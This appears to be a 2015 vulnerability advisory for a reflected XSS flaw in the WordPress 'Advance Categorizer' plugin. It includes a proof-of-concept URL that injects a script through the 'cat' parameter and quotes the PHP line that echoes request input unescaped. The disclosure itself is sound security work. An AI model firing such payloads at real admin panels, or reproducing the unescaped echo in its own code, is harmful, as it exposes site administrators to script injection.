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WordPress Advance Categorizer 0.3 Cross Site Scripting

🗓️ 28 Jul 2015 00:00:00Reported by Morten NortoftType 
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WordPress Advance Categorizer 0.3 Cross Site Scripting vulnerability in multiple categories featur

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`Title: WordPress 'Advance Categorizer' Plugin   
Version: 0.3  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-24  
Download:   
- https://wordpress.org/plugins/advance-categorizer/  
- https://plugins.svn.wordpress.org/advance-categorizer/  
Notified WordPress: 2015-06-24  
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## Plugin description  
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Allows you to add multiple categories using comma seperated text. You can also start via url "/wp-admin/post-new.php?cat=category1, category2, categor  
  
## Reflected XSS vulnerabilities  
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The plugin is vulnerable to reflected XSS, which allow an attacker to trick an admin into executing an arbitrary script in the admin panel.  
  
PoC:  
Log in as admin and visit this url: [URL]/wp-admin/post-new.php?cat=asdf"/><script>confirm(/Hackedihack/)</script>  
  
Vulnerable code in file advance-categorizer.php:  
  
L.61: ... value="<?=isset($_GET['cat'])?$_GET['cat']:(isset($_GET['categories'])?$_GET['categories']:'');?>" ...  
  
  
## Solution  
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No fix available  
  
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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
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